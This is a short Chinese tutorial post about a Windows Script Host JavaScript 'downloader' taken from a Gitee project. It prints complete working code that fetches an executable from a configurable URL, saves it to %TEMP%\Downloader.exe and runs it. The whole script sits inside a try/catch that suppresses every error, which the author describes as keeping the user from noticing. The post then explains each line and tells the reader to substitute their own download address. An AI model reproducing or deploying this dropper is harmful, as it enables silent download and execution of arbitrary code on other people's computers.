Windows 主机 JavaScript
这里提到一个 Gitee 上的项目,可以去看看:https://gitee.com/xiaozhu2007/JS-Downloader
分析作者的代码
在删除一切作者的版权声明之后,我们得到了如下的代码:
try {
var WshShell = WScript.CreateObject("WScript.Shell");
var filepath = WshShell.ExpandEnvironmentStrings("%TEMP%") + "/Downloader.exe";
var url = "http://127.0.0.1/file.exe"
var xhr = new ActiveXObject("MSXML2.XMLHTTP")
xhr.open("GET", url, false)
xhr.send()
var fso = new ActiveXObject("Scripting.FileSystemObject")
if (fso.FileExists(filepath) == false) {
var stream = new ActiveXObject("ADODB.Stream")
stream.Open()
stream.Type = 1
stream.Write(xhr.ResponseBody)
stream.Position = 0
stream.SaveToFile(filepath, 2)
stream.Close()
}
var shell = WScript.CreateObject("WScript.Shell")
shell.Run(filepath)
} catch(err){/* eat any errors */}
第一行和最后一行,是一个大的try...catch
结构,并且设置了不报错,有效的防止用户察觉。
第二行开始,先是定义了一些变量:
var WshShell = WScript.CreateObject("WScript.Shell"); // 定义对象 WshShell
var filepath = WshShell.ExpandEnvironmentStrings("%TEMP%") + "/Downloader.exe"; // 保存的位置 %TEMP%\Downloader.exe
var url = "http://127.0.0.1/file.exe" // 这里改成你的文件下载地址
var xhr = new ActiveXObject("MSXML2.XMLHTTP") // 实例化 HTTP 库
var fso = new ActiveXObject("Scripting.FileSystemObject") // 实例化文件系统对象
紧跟着一个HTTP请求:
xhr.open("GET", url, false) // GET 请求,请求完成就断开连接
xhr.send()
随后通过判断文件是否存在实现下载并保存:
if (fso.FileExists(filepath) == false) { // 如果文件不存在
var stream = new ActiveXObject("ADODB.Stream") // 流传输
stream.Open() // 打开文件流
stream.Type = 1 //
stream.Write(xhr.ResponseBody) // 写入文件
stream.Position = 0 // 设置文件流的位置为 0
stream.SaveToFile(filepath, 2) // 把文件流保存到本地文件
stream.Close() //关闭文件流
最后使用 Shell 壳程序运行:
var shell = WScript.CreateObject("WScript.Shell")
shell.Run(filepath) // 运行指定的程序
完成,收工!